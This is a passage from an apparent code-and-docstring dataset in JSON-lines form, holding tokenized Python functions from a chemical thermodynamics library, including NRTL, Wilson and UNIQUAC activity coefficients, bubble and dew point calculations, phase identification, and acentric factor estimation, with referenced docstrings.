[-]\n\n    Returns\n    -------\n    gammas : list[float]\n        Activity coefficient for each species in the liquid mixture, [-]\n\n    Notes\n    -----\n    This model needs N^2 parameters.\n\n    One common temperature dependence of the nonrandomness constants is:\n\n    .. math::\n        \\alpha_{ij}=c_{ij}+d_{ij}T\n\n    Most correlations for the interaction parameters include some of the terms\n    shown in the following form:\n\n    .. math::\n        \\tau_{ij}=A_{ij}+\\frac{B_{ij}}{T}+\\frac{C_{ij}}{T^{2}}+D_{ij}\n        \\ln{\\left ({T}\\right )}+E_{ij}T^{F_{ij}}\n\n    Examples\n    --------\n    Ethanol-water example, at 343.15 K and 1 MPa:\n\n    >>> NRTL(xs=[0.252, 0.748], taus=[[0, -0.178], [1.963, 0]],\n    ... alphas=[[0, 0.2974],[.2974, 0]])\n    [1.9363183763514304, 1.1537609663170014]\n\n    References\n    ----------\n    .. [1] Renon, Henri, and J. M. Prausnitz. \"Local Compositions in\n       Thermodynamic Excess Functions for Liquid Mixtures.\" AIChE Journal 14,\n       no. 1 (1968): 135-144. doi:10.1002/aic.690140124.\n    .. [2] Gmehling, Jurgen, Barbel Kolbe, Michael Kleiber, and Jurgen Rarey.\n       Chemical Thermodynamics for Process Simulation. 1st edition. Weinheim:\n       Wiley-VCH, 2012.", "id": "f15784:m5"}
{"signature": "def Wilson(xs, params):", "body": "gammas = []<EOL>cmps = range(len(xs))<EOL>for i in cmps:<EOL><INDENT>tot1 = log(sum([params[i][j]*xs[j] for j in cmps]))<EOL>tot2 = <NUM_LIT:0.><EOL>for j in cmps:<EOL><INDENT>tot2 += params[j][i]*xs[j]/sum([params[j][k]*xs[k] for k in cmps])<EOL><DEDENT>gamma = exp(<NUM_LIT:1.> - tot1 - tot2)<EOL>gammas.append(gamma)<EOL><DEDENT>return gammas<EOL>", "docstring": "r'''Calculates the activity coefficients of each species in a mixture\n    using the Wilson method, given their mole fractions, and\n    dimensionless interaction parameters. Those are normally correlated with\n    temperature, and need to be calculated separately.\n\n    .. math::\n        \\ln \\gamma_i = 1 - \\ln \\left(\\sum_j^N \\Lambda_{ij} x_j\\right)\n        -\\sum_j^N \\frac{\\Lambda_{ji}x_j}{\\displaystyle\\sum_k^N \\Lambda_{jk}x_k}\n\n    Parameters\n    ----------\n    xs : list[float]\n        Liquid mole fractions of each species, [-]\n    params : list[list[float]]\n        Dimensionless interaction parameters of each compound with each other,\n        [-]\n\n    Returns\n    -------\n    gammas : list[float]\n        Activity coefficient for each species in the liquid mixture, [-]\n\n    Notes\n    -----\n    This model needs N^2 parameters.\n\n    The original model correlated the interaction parameters using the standard\n    pure-component molar volumes of each species at 25\u00b0C, in the following form:\n\n    .. math::\n        \\Lambda_{ij} = \\frac{V_j}{V_i} \\exp\\left(\\frac{-\\lambda_{i,j}}{RT}\\right)\n\n    However, that form has less flexibility and offered no advantage over\n    using only regressed parameters.\n\n    Most correlations for the interaction parameters include some of the terms\n    shown in the following form:\n\n    .. math::\n        \\ln \\Lambda_{ij} =a_{ij}+\\frac{b_{ij}}{T}+c_{ij}\\ln T + d_{ij}T\n        + \\frac{e_{ij}}{T^2} + h_{ij}{T^2}\n\n    The Wilson model is not applicable to liquid-liquid systems.\n\n    Examples\n    --------\n    Ethanol-water example, at 343.15 K and 1 MPa:\n\n    >>> Wilson([0.252, 0.748], [[1, 0.154], [0.888, 1]])\n    [1.8814926087178843, 1.1655774931125487]\n\n    References\n    ----------\n    .. [1] Wilson, Grant M. \"Vapor-Liquid Equilibrium. XI. A New Expression for\n       the Excess Free Energy of Mixing.\" Journal of the American Chemical\n       Society 86, no. 2 (January 1, 1964): 127-130. doi:10.1021/ja01056a002.\n    .. [2] Gmehling, Jurgen, Barbel Kolbe, Michael Kleiber, and Jurgen Rarey.\n       Chemical Thermodynamics for Process Simulation. 1st edition. Weinheim:\n       Wiley-VCH, 2012.", "id": "f15784:m6"}
{"signature": "def UNIQUAC(xs, rs, qs, taus):", "body": "cmps = range(len(xs))<EOL>rsxs = sum([rs[i]*xs[i] for i in cmps])<EOL>phis = [rs[i]*xs[i]/rsxs for i in cmps]<EOL>qsxs = sum([qs[i]*xs[i] for i in cmps])<EOL>vs = [qs[i]*xs[i]/qsxs for i in cmps]<EOL>Ss = [sum([vs[j]*taus[j][i] for j in cmps]) for i in cmps]<EOL>loggammacs = [log(phis[i]/xs[i]) + <NUM_LIT:1> - phis[i]/xs[i]<EOL>- <NUM_LIT:5>*qs[i]*(log(phis[i]/vs[i]) + <NUM_LIT:1> - phis[i]/vs[i]) for i in cmps]<EOL>loggammars = [qs[i]*(<NUM_LIT:1> - log(Ss[i]) - sum([taus[i][j]*vs[j]/Ss[j]<EOL>for j in cmps])) for i in cmps]<EOL>return [exp(loggammacs[i] + loggammars[i]) for i in cmps]<EOL>", "docstring": "r'''Calculates the activity coefficients of each species in a mixture\n    using the Universal quasi-chemical (UNIQUAC) equation, given their mole\n    fractions, `rs`, `qs`, and dimensionless interaction parameters. The\n    interaction parameters are normally correlated with temperature, and need\n    to be calculated separately.\n\n    .. math::\n        \\ln \\gamma_i = \\ln \\frac{\\Phi_i}{x_i} + \\frac{z}{2} q_i \\ln\n        \\frac{\\theta_i}{\\Phi_i}+ l_i - \\frac{\\Phi_i}{x_i}\\sum_j^N x_j l_j\n        - q_i \\ln\\left( \\sum_j^N \\theta_j \\tau_{ji}\\right)+ q_i - q_i\\sum_j^N\n        \\frac{\\theta_j \\tau_{ij}}{\\sum_k^N \\theta_k \\tau_{kj}}\n\n        \\theta_i = \\frac{x_i q_i}{\\displaystyle\\sum_{j=1}^{n} x_j q_j}\n\n         \\Phi_i = \\frac{x_i r_i}{\\displaystyle\\sum_{j=1}^{n} x_j r_j}\n\n         l_i = \\frac{z}{2}(r_i - q_i) - (r_i - 1)\n\n    Parameters\n    ----------\n    xs : list[float]\n        Liquid mole fractions of each species, [-]\n    rs : list[float]\n        Van der Waals volume parameters for each species, [-]\n    qs : list[float]\n        Surface area parameters for each species, [-]\n    taus : list[list[float]]\n        Dimensionless interaction parameters of each compound with each other,\n        [-]\n\n    Returns\n    -------\n    gammas : list[float]\n        Activity coefficient for each species in the liquid mixture, [-]\n\n    Notes\n    -----\n    This model needs N^2 parameters.\n\n    The original expression for the interaction parameters is as follows:\n\n    .. math::\n        \\tau_{ji} = \\exp\\left(\\frac{-\\Delta u_{ij}}{RT}\\right)\n\n    However, it is seldom used. Most correlations for the interaction\n    parameters include some of the terms shown in the following form:\n\n    .. math::\n        \\ln \\tau{ij} =a_{ij}+\\frac{b_{ij}}{T}+c_{ij}\\ln T + d_{ij}T\n        + \\frac{e_{ij}}{T^2}\n\n    This model is recast in a slightly more computationally efficient way in\n    [2]_, as shown below:\n\n    .. math::\n        \\ln \\gamma_i = \\ln \\gamma_i^{res} + \\ln \\gamma_i^{comb}\n\n        \\ln \\gamma_i^{res} = q_i \\left(1 - \\ln\\frac{\\sum_j^N q_j x_j \\tau_{ji}}\n        {\\sum_j^N q_j x_j}- \\sum_j \\frac{q_k x_j \\tau_{ij}}{\\sum_k q_k x_k\n        \\tau_{kj}}\\right)\n\n        \\ln \\gamma_i^{comb} = (1 - V_i + \\ln V_i) - \\frac{z}{2}q_i\\left(1 -\n        \\frac{V_i}{F_i} + \\ln \\frac{V_i}{F_i}\\right)\n\n        V_i = \\frac{r_i}{\\sum_j^N r_j x_j}\n\n        F_i = \\frac{q_i}{\\sum_j q_j x_j}\n\n    Examples\n    --------\n    Ethanol-water example, at 343.15 K and 1 MPa:\n\n    >>> UNIQUAC(xs=[0.252, 0.748], rs=[2.1055, 0.9200], qs=[1.972, 1.400],\n    ... taus=[[1.0, 1.0919744384510301], [0.37452902779205477, 1.0]])\n    [2.35875137797083, 1.2442093415968987]\n\n    References\n    ----------\n    .. [1] Abrams, Denis S., and John M. Prausnitz. \"Statistical Thermodynamics\n       of Liquid Mixtures: A New Expression for the Excess Gibbs Energy of\n       Partly or Completely Miscible Systems.\" AIChE Journal 21, no. 1 (January\n       1, 1975): 116-28. doi:10.1002/aic.690210115.\n    .. [2] Gmehling, Jurgen, Barbel Kolbe, Michael Kleiber, and Jurgen Rarey.\n       Chemical Thermodynamics for Process Simulation. 1st edition. Weinheim:\n       Wiley-VCH, 2012.\n    .. [3] Maurer, G., and J. M. Prausnitz. \"On the Derivation and Extension of\n       the Uniquac Equation.\" Fluid Phase Equilibria 2, no. 2 (January 1,\n       1978): 91-99. doi:10.1016/0378-3812(78)85002-X.", "id": "f15784:m7"}
{"signature": "def dew_at_T(zs, Psats, fugacities=None, gammas=None):", "body": "if not fugacities:<EOL><INDENT>fugacities = [<NUM_LIT:1> for i in range(len(Psats))]<EOL><DEDENT>if not gammas:<EOL><INDENT>gammas = [<NUM_LIT:1> for i in range(len(Psats))]<EOL><DEDENT>if not none_and_length_check((zs, Psats, fugacities, gammas)):<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>P = <NUM_LIT:1>/sum(zs[i]*fugacities[i]/Psats[i]/gammas[i] for i in range(len(zs)))<EOL>return P<EOL>", "docstring": ">>> dew_at_T([0.5, 0.5], [1400, 7000])\n2333.3333333333335\n>>> dew_at_T([0.5, 0.5], [1400, 7000], gammas=[1.1, .75])\n2381.443298969072\n>>> dew_at_T([0.5, 0.5], [1400, 7000], gammas=[1.1, .75], fugacities=[.995, 0.98])\n2401.621874512658", "id": "f15784:m9"}
{"signature": "def bubble_at_T(zs, Psats, fugacities=None, gammas=None):", "body": "if not fugacities:<EOL><INDENT>fugacities = [<NUM_LIT:1> for i in range(len(Psats))]<EOL><DEDENT>if not gammas:<EOL><INDENT>gammas = [<NUM_LIT:1> for i in range(len(Psats))]<EOL><DEDENT>if not none_and_length_check((zs, Psats, fugacities, gammas)):<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>P = sum(zs[i]*Psats[i]*gammas[i]/fugacities[i] for i in range(len(zs)))<EOL>return P<EOL>", "docstring": ">>> bubble_at_T([0.5, 0.5], [1400, 7000])\n4200.0\n>>> bubble_at_T([0.5, 0.5], [1400, 7000], gammas=[1.1, .75])\n3395.0\n>>> bubble_at_T([0.5, 0.5], [1400, 7000], gammas=[1.1, .75], fugacities=[.995, 0.98])\n3452.440775305097", "id": "f15784:m10"}
{"signature": "def identify_phase(T, P, Tm=None, Tb=None, Tc=None, Psat=None):", "body": "if Tm and T <= Tm:<EOL><INDENT>return '<STR_LIT:s>'<EOL><DEDENT>elif Tc and T >= Tc:<EOL><INDENT>return '<STR_LIT:g>'<EOL><DEDENT>elif Psat:<EOL><INDENT>if P <= Psat:<EOL><INDENT>return '<STR_LIT:g>'<EOL><DEDENT>elif P > Psat:<EOL><INDENT>return '<STR_LIT:l>'<EOL><DEDENT><DEDENT>elif Tb:<EOL><INDENT>if <NUM_LIT> < P < <NUM_LIT>:<EOL><INDENT>if T < Tb:<EOL><INDENT>return  '<STR_LIT:l>'<EOL><DEDENT>else:<EOL><INDENT>return '<STR_LIT:g>'<EOL><DEDENT><DEDENT>elif P > <NUM_LIT> and T <= Tb:<EOL><INDENT>return '<STR_LIT:l>'<EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "r'''Determines the phase of a one-species chemical system according to\n    basic rules, using whatever information is available. Considers only the\n    phases liquid, solid, and gas; does not consider two-phase\n    scenarios, as should occurs between phase boundaries.\n\n    * If the melting temperature is known and the temperature is under or equal\n      to it, consider it a solid.\n    * If the critical temperature is known and the temperature is greater or\n      equal to it, consider it a gas.\n    * If the vapor pressure at `T` is known and the pressure is under or equal\n      to it, consider it a gas. If the pressure is greater than the vapor\n      pressure, consider it a liquid.\n    * If the melting temperature, critical temperature, and vapor pressure are\n      not known, attempt to use the boiling point to provide phase information.\n      If the pressure is between 90 kPa and 110 kPa (approximately normal),\n      consider it a liquid if it is under the boiling temperature and a gas if\n      above the boiling temperature.\n    * If the pressure is above 110 kPa and the boiling temperature is known,\n      consider it a liquid if the temperature is under the boiling temperature.\n    * Return None otherwise.\n\n    Parameters\n    ----------\n    T : float\n        Temperature, [K]\n    P : float\n        Pressure, [Pa]\n    Tm : float, optional\n        Normal melting temperature, [K]\n    Tb : float, optional\n        Normal boiling point, [K]\n    Tc : float, optional\n        Critical temperature, [K]\n    Psat : float, optional\n        Vapor pressure of the fluid at `T`, [Pa]\n\n    Returns\n    -------\n    phase : str\n        Either 's', 'l', 'g', or None if the phase cannot be determined\n\n    Notes\n    -----\n    No special attential is paid to any phase transition. For the case where\n    the melting point is not provided, the possibility of the fluid being solid\n    is simply ignored.\n\n    Examples\n    --------\n    >>> identify_phase(T=280, P=101325, Tm=273.15, Psat=991)\n    'l'", "id": "f15784:m11"}
{"signature": "def identify_phase_mixture(T=None, P=None, zs=None, Tcs=None, Pcs=None,<EOL>Psats=None, CASRNs=None,<EOL>AvailableMethods=False, Method=None):  ", "body": "def list_methods():<EOL><INDENT>methods = []<EOL>if Psats and none_and_length_check((Psats, zs)):<EOL><INDENT>methods.append('<STR_LIT>')<EOL><DEDENT>if Tcs and none_and_length_check([Tcs]) and all([T >= i for i in Tcs]):<EOL><INDENT>methods.append('<STR_LIT>')<EOL><DEDENT>if Pcs and none_and_length_check([Pcs]) and all([P >= i for i in Pcs]):<EOL><INDENT>methods.append('<STR_LIT>')<EOL><DEDENT>if Tcs and none_and_length_check([zs, Tcs]) and any([T > Tc for Tc in Tcs]):<EOL><INDENT>methods.append('<STR_LIT>')<EOL><DEDENT>methods.append('<STR_LIT>')<EOL>return methods<EOL><DEDENT>if AvailableMethods:<EOL><INDENT>return list_methods()<EOL><DEDENT>if not Method:<EOL><INDENT>Method = list_methods()[<NUM_LIT:0>]<EOL><DEDENT>xs, ys, phase, V_over_F = None, None, None, None<EOL>if Method == '<STR_LIT>':<EOL><INDENT>Pdew = dew_at_T(zs, Psats)<EOL>Pbubble = bubble_at_T(zs, Psats)<EOL>if P >= Pbubble:<EOL><INDENT>phase = '<STR_LIT:l>'<EOL>ys = None<EOL>xs = zs<EOL>V_over_F = <NUM_LIT:0><EOL><DEDENT>elif P <= Pdew:<EOL><INDENT>phase = '<STR_LIT:g>'<EOL>ys = zs<EOL>xs = None<EOL>V_over_F = <NUM_LIT:1><EOL><DEDENT>elif Pdew < P < Pbubble:<EOL><INDENT>xs, ys, V_over_F = flash(P, zs, Psats)<EOL>phase = '<STR_LIT>'<EOL><DEDENT><DEDENT>elif Method == '<STR_LIT>':<EOL><INDENT>if all([T >= i for i in Tcs]):<EOL><INDENT>phase = '<STR_LIT:g>'<EOL><DEDENT>else: <EOL><INDENT>phase = '<STR_LIT>'<EOL><DEDENT><DEDENT>elif Method == '<STR_LIT>':<EOL><INDENT>if all([P >= i for i in Pcs]):<EOL><INDENT>phase = '<STR_LIT:g>'<EOL><DEDENT>else: <EOL><INDENT>phase = '<STR_LIT>'<EOL><DEDENT><DEDENT>elif Method == '<STR_LIT>':<EOL><INDENT>Psats = list(Psats)<EOL>for i in range(len(Psats)):<EOL><INDENT>if not Psats[i] and Tcs[i] and Tcs[i] <= T:<EOL><INDENT>Psats[i] = <NUM_LIT><EOL><DEDENT><DEDENT>Pdew = dew_at_T(zs, Psats)<EOL>Pbubble = <NUM_LIT><EOL>if P >= Pbubble:<EOL><INDENT>phase = '<STR_LIT:l>'<EOL>ys = None<EOL>xs = zs<EOL>V_over_F = <NUM_LIT:0><EOL><DEDENT>elif P <= Pdew:<EOL><INDENT>phase = '<STR_LIT:g>'<EOL>ys = zs<EOL>xs = None<EOL>V_over_F = <NUM_LIT:1><EOL><DEDENT>elif Pdew < P < Pbubble:<EOL><INDENT>xs, ys, V_over_F = flash(P, zs, Psats)<EOL>phase = '<STR_LIT>'<EOL><DEDENT><DEDENT>elif Method == '<STR_LIT>':<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>return phase, xs, ys, V_over_F<EOL>", "docstring": ">>> identify_phase_mixture(T=280, P=5000., zs=[0.5, 0.5], Psats=[1400, 7000])\n('l', [0.5, 0.5], None, 0)\n>>> identify_phase_mixture(T=280, P=3000., zs=[0.5, 0.5], Psats=[1400, 7000])\n('two-phase', [0.7142857142857143, 0.2857142857142857], [0.33333333333333337, 0.6666666666666666], 0.5625000000000001)\n>>> identify_phase_mixture(T=280, P=800., zs=[0.5, 0.5], Psats=[1400, 7000])\n('g', None, [0.5, 0.5], 1)\n>>> identify_phase_mixture(T=280, P=800., zs=[0.5, 0.5])\n(None, None, None, None)", "id": "f15784:m12"}
{"signature": "def Pbubble_mixture(T=None, zs=None, Psats=None, CASRNs=None,<EOL>AvailableMethods=False, Method=None):  ", "body": "def list_methods():<EOL><INDENT>methods = []<EOL>if none_and_length_check((Psats, zs)):<EOL><INDENT>methods.append('<STR_LIT>')<EOL><DEDENT>methods.append('<STR_LIT>')<EOL>return methods<EOL><DEDENT>if AvailableMethods:<EOL><INDENT>return list_methods()<EOL><DEDENT>if not Method:<EOL><INDENT>Method = list_methods()[<NUM_LIT:0>]<EOL><DEDENT>if Method == '<STR_LIT>':<EOL><INDENT>Pbubble = bubble_at_T(zs, Psats)<EOL><DEDENT>elif Method == '<STR_LIT>':<EOL><INDENT>Pbubble = None<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>return Pbubble<EOL>", "docstring": ">>> Pbubble_mixture(zs=[0.5, 0.5], Psats=[1400, 7000])\n4200.0", "id": "f15784:m13"}
{"signature": "def bubble_at_P(P, zs, vapor_pressure_eqns, fugacities=None, gammas=None):", "body": "def bubble_P_error(T):<EOL><INDENT>Psats = [VP(T) for VP in vapor_pressure_eqns]<EOL>Pcalc = bubble_at_T(zs, Psats, fugacities, gammas)<EOL>return P - Pcalc<EOL><DEDENT>T_bubble = newton(bubble_P_error, <NUM_LIT>)<EOL>return T_bubble<EOL>", "docstring": "Calculates bubble point for a given pressure\n\n    Parameters\n    ----------\n    P : float\n        Pressure, [Pa]\n    zs : list[float]\n        Overall mole fractions of all species, [-]\n    vapor_pressure_eqns : list[functions]\n        Temperature dependent function for each specie, Returns Psat, [Pa]\n    fugacities : list[float], optional\n        fugacities of each species, defaults to list of ones, [-]\n    gammas : list[float], optional\n        gammas of each species, defaults to list of ones, [-]\n\n    Returns\n    -------\n    Tbubble : float, optional\n        Temperature of bubble point at pressure `P`, [K]", "id": "f15784:m14"}
{"signature": "def Pdew_mixture(T=None, zs=None, Psats=None, CASRNs=None,<EOL>AvailableMethods=False, Method=None):  ", "body": "def list_methods():<EOL><INDENT>methods = []<EOL>if none_and_length_check((Psats, zs)):<EOL><INDENT>methods.append('<STR_LIT>')<EOL><DEDENT>methods.append('<STR_LIT>')<EOL>return methods<EOL><DEDENT>if AvailableMethods:<EOL><INDENT>return list_methods()<EOL><DEDENT>if not Method:<EOL><INDENT>Method = list_methods()[<NUM_LIT:0>]<EOL><DEDENT>if Method == '<STR_LIT>':<EOL><INDENT>Pdew = dew_at_T(zs, Psats)<EOL><DEDENT>elif Method == '<STR_LIT>':<EOL><INDENT>Pdew = None<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>return Pdew<EOL>", "docstring": ">>> Pdew_mixture(zs=[0.5, 0.5], Psats=[1400, 7000])\n2333.3333333333335", "id": "f15784:m15"}
{"signature": "def omega(CASRN, AvailableMethods=False, Method=None, IgnoreMethods=['<STR_LIT>', '<STR_LIT>']):", "body": "def list_methods():<EOL><INDENT>methods = []<EOL>if CASRN in _crit_PSRKR4.index and not np.isnan(_crit_PSRKR4.at[CASRN, '<STR_LIT>']):<EOL><INDENT>methods.append('<STR_LIT>')<EOL><DEDENT>if CASRN in _crit_PassutDanner.index and not np.isnan(_crit_PassutDanner.at[CASRN, '<STR_LIT>']):<EOL><INDENT>methods.append('<STR_LIT>')<EOL><DEDENT>if CASRN in _crit_Yaws.index and not np.isnan(_crit_Yaws.at[CASRN, '<STR_LIT>']):<EOL><INDENT>methods.append('<STR_LIT>')<EOL><DEDENT>Tcrit, Pcrit = Tc(CASRN), Pc(CASRN)<EOL>if Tcrit and Pcrit:<EOL><INDENT>if Tb(CASRN):<EOL><INDENT>methods.append('<STR_LIT>')<EOL><DEDENT>if VaporPressure(CASRN=CASRN).T_dependent_property(Tcrit*<NUM_LIT>):<EOL><INDENT>methods.append('<STR_LIT>')  <EOL><DEDENT><DEDENT>if IgnoreMethods:<EOL><INDENT>for Method in IgnoreMethods:<EOL><INDENT>if Method in methods:<EOL><INDENT>methods.remove(Method)<EOL><DEDENT><DEDENT><DEDENT>methods.append('<STR_LIT>')<EOL>return methods<EOL><DEDENT>if AvailableMethods:<EOL><INDENT>return list_methods()<EOL><DEDENT>if not Method:<EOL><INDENT>Method = list_methods()[<NUM_LIT:0>]<EOL><DEDENT>if Method == '<STR_LIT>':<EOL><INDENT>_omega = float(_crit_PSRKR4.at[CASRN, '<STR_LIT>'])<EOL><DEDENT>elif Method == '<STR_LIT>':<EOL><INDENT>_omega = float(_crit_PassutDanner.at[CASRN, '<STR_LIT>'])<EOL><DEDENT>elif Method == '<STR_LIT>':<EOL><INDENT>_omega = float(_crit_Yaws.at[CASRN, '<STR_LIT>'])<EOL><DEDENT>elif Method == '<STR_LIT>':<EOL><INDENT>_omega = LK_omega(Tb(CASRN), Tc(CASRN), Pc(CASRN))<EOL><DEDENT>elif Method == '<STR_LIT>':<EOL><INDENT>P = VaporPressure(CASRN=CASRN).T_dependent_property(Tc(CASRN)*<NUM_LIT>)<EOL>_omega = -log10(P/Pc(CASRN)) - <NUM_LIT:1.0><EOL><DEDENT>elif Method == '<STR_LIT>':<EOL><INDENT>_omega = None<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>return _omega<EOL>", "docstring": "r'''This function handles the retrieval of a chemical's acentric factor,\n    `omega`, or its calculation from correlations or directly through the\n    definition of acentric factor if possible. Requires a known boiling point,\n    critical temperature and pressure for use of the correlations. Requires\n    accurate vapor pressure data for direct calculation.\n\n    Will automatically select a method to use if no Method is provided;\n    returns None if the data is not available and cannot be calculated.\n\n    .. math::\n        \\omega \\equiv -\\log_{10}\\left[\\lim_{T/T_c=0.7}(P^{sat}/P_c)\\right]-1.0\n\n    Examples\n    --------\n    >>> omega(CASRN='64-17-5')\n    0.635\n\n    Parameters\n    ----------\n    CASRN : string\n        CASRN [-]\n\n    Returns\n    -------\n    omega : float\n        Acentric factor of compound\n    methods : list, only returned if AvailableMethods == True\n        List of methods which can be used to obtain omega with the given inputs\n\n    Other Parameters\n    ----------------\n    Method : string, optional\n        The method name to use. Accepted methods are 'PSRK', 'PD', 'YAWS', \n        'LK', and 'DEFINITION'. All valid values are also held in the list\n        omega_methods.\n    AvailableMethods : bool, optional\n        If True, function will determine which methods can be used to obtain\n        omega for the desired chemical, and will return methods instead of\n        omega\n    IgnoreMethods : list, optional\n        A list of methods to ignore in obtaining the full list of methods,\n        useful for for performance reasons and ignoring inaccurate methods\n\n    Notes\n    -----\n    A total of five sources are available for this function. They are:\n\n        * 'PSRK', a compillation of experimental and estimated data published \n          in the Appendix of [15]_, the fourth revision of the PSRK model.\n        * 'PD', an older compillation of\n          data published in (Passut & Danner, 1973) [16]_.\n        * 'YAWS', a large compillation of data from a\n          variety of sources; no data points are sourced in the work of [17]_.\n        * 'LK', a estimation method for hydrocarbons.\n        * 'DEFINITION', based on the definition of omega as\n          presented in [1]_, using vapor pressure data.\n\n    References\n    ----------\n    .. [1] Pitzer, K. S., D. Z. Lippmann, R. F. Curl, C. M. Huggins, and\n       D. E. Petersen: The Volumetric and Thermodynamic Properties of Fluids.\n       II. Compressibility Factor, Vapor Pressure and Entropy of Vaporization.\n       J. Am. Chem. Soc., 77: 3433 (1955).\n    .. [2] Horstmann, Sven, Anna Jab\u0142oniec, J\u00f6rg Krafczyk, Kai Fischer, and\n       J\u00fcrgen Gmehling. \"PSRK Group Contribution Equation of State:\n       Comprehensive Revision and Extension IV, Including Critical Constants\n       and \u0391-Function Parameters for 1000 Components.\" Fluid Phase Equilibria\n       227, no. 2 (January 25, 2005): 157-64. doi:10.1016/j.fluid.2004.11.002.\n    .. [3] Passut, Charles A., and Ronald P. Danner. \"Acentric Factor. A\n       Valuable Correlating Parameter for the Properties of Hydrocarbons.\"\n       Industrial & Engineering Chemistry Process Design and Development 12,\n       no. 3 (July 1, 1973): 365-68. doi:10.1021/i260047a026.\n    .. [4] Yaws, Carl L. Thermophysical Properties of Chemicals and\n       Hydrocarbons, Second Edition. Amsterdam Boston: Gulf Professional\n       Publishing, 2014.", "id": "f15785:m0"}
{"signature": "def LK_omega(Tb, Tc, Pc):", "body": "T_br = Tb/Tc<EOL>omega = (log(<NUM_LIT>/Pc) - <NUM_LIT> + <NUM_LIT>/T_br + <NUM_LIT>*log(T_br) -<EOL><NUM_LIT>*T_br**<NUM_LIT:6>)/(<NUM_LIT> - <NUM_LIT>/T_br - <NUM_LIT>*log(T_br) +<EOL><NUM_LIT>*T_br**<NUM_LIT:6>)<EOL>return omega<EOL>", "docstring": "r'''Estimates the acentric factor of a fluid using a correlation in [1]_.\n\n    .. math::\n        \\omega = \\frac{\\ln P_{br}^{sat} - 5.92714 + 6.09648/T_{br} + 1.28862\n        \\ln T_{br} -0.169347T_{br}^6}\n        {15.2518 - 15.6875/T_{br} - 13.4721 \\ln T_{br} + 0.43577 T_{br}^6}\n\n    Parameters\n    ----------\n    Tb : float\n        Boiling temperature of the fluid [K]\n    Tc : float\n        Critical temperature of the fluid [K]\n    Pc : float\n        Critical pressure of the fluid [Pa]\n\n    Returns\n    -------\n    omega : float\n        Acentric factor of the fluid [-]\n\n    Notes\n    -----\n    Internal units are atmosphere and Kelvin.\n    Example value from Reid (1987). Using ASPEN V8.4, LK method gives 0.325595.\n\n    Examples\n    --------\n    Isopropylbenzene\n\n    >>> LK_omega(425.6, 631.1, 32.1E5)\n    0.32544249926397856\n\n    References\n    ----------\n    .. [1] Lee, Byung Ik, and Michael G. Kesler. \"A Generalized Thermodynamic\n       Correlation Based on Three-Parameter Corresponding States.\" AIChE Journal\n       21, no. 3 (1975): 510-527. doi:10.1002/aic.690210313.", "id": "f15785:m1"}
{"signature": "def omega_mixture(omegas, zs, CASRNs=None, Method=None,<EOL>AvailableMethods=False):", "body": "def list_methods():<EOL><INDENT>methods = []<EOL>if none_and_length_check([zs, omegas]):<EOL><INDENT>methods.append('<STR_LIT>')<EOL><DEDENT>methods.append('<STR_LIT>')<EOL>return methods<EOL><DEDENT>if AvailableMethods:<EOL><INDENT>return list_methods()<EOL><DEDENT>if not Method:<EOL><INDENT>Method = list_methods()[<NUM_LIT:0>]<EOL><DEDENT>if Method == '<STR_LIT>':<EOL><INDENT>_omega = mixing_simple(zs, omegas)<EOL><DEDENT>elif Method == '<STR_LIT>':<EOL><INDENT>_omega = None<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>return _omega<EOL>", "docstring": "r'''This function handles the calculation of a mixture's acentric factor.\n    Calculation is based on the omegas provided for each pure component. Will\n    automatically select a method to use if no Method is provided;\n    returns None if insufficient data is available.\n\n    Examples\n    --------\n    >>> omega_mixture([0.025, 0.12], [0.3, 0.7])\n    0.0915\n\n    Parameters\n    ----------\n    omegas : array-like\n        acentric factors of each component, [-]\n    zs : array-like\n        mole fractions of each component, [-]\n    CASRNs: list of strings\n        CASRNs, not currently used [-]\n\n    Returns\n    -------\n    omega : float\n        acentric factor of the mixture, [-]\n    methods : list, only returned if AvailableMethods == True\n        List of methods which can be used to obtain omega with the given inputs\n\n    Other Parameters\n    ----------------\n    Method : string, optional\n        The method name to use. Only 'SIMPLE' is accepted so far.\n        All valid values are also held in the list omega_mixture_methods.\n    AvailableMethods : bool, optional\n        If True, function will determine which methods can be used to obtain\n        omega for the desired chemical, and will return methods instead of\n        omega\n\n    Notes\n    -----\n    The only data used in the methods implemented to date are mole fractions\n    and pure-component omegas. An alternate definition could be based on\n    the dew point or bubble point of a multicomponent mixture, but this has\n    not been done to date.\n\n    References\n    ----------\n    .. [1] Poling, Bruce E. The Properties of Gases and Liquids. 5th edition.\n       New York: McGraw-Hill Professional, 2000.", "id": "f15785:m2"}
{"signature": "def StielPolar(Tc=None, Pc=None, omega=None, CASRN='<STR_LIT>', Method=None,<EOL>AvailableMethods=False):", "body": "def list_methods():<EOL><INDENT>methods = []<EOL>if Tc and Pc and omega:<EOL><INDENT>methods.append('<STR_LIT>')<EOL><DEDENT>methods.append('<STR_LIT>')<EOL>return methods<EOL><DEDENT>if AvailableMethods:<EOL><INDENT>return list_methods()<EOL><DEDENT>if not Method:<EOL><INDENT>Method = list_methods()[<NUM_LIT:0>]<EOL><DEDENT>if Method == '<STR_LIT>':<EOL><INDENT>P = VaporPressure(CASRN=CASRN).T_dependent_property(Tc*<NUM_LIT>)<EOL>if not P:<EOL><INDENT>factor = None<EOL><DEDENT>else:<EOL><INDENT>Pr = P/Pc<EOL>factor = log10(Pr) + <NUM_LIT>*omega + <NUM_LIT><EOL><DEDENT><DEDENT>elif Method == '<STR_LIT>':<EOL><INDENT>factor = None<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>return factor<EOL>", "docstring": "r'''This function handles the calculation of a chemical's Stiel Polar\n    factor, directly through the definition of Stiel-polar factor if possible.\n    Requires Tc, Pc, acentric factor, and a vapor pressure datum at Tr=0.6.\n\n    Will automatically select a method to use if no Method is provided;\n    returns None if the data is not available and cannot be calculated.\n\n    .. math::\n        x = \\log P_r|_{T_r=0.6} + 1.70 \\omega + 1.552\n\n    Parameters\n    ----------\n    Tc : float\n        Critical temperature of 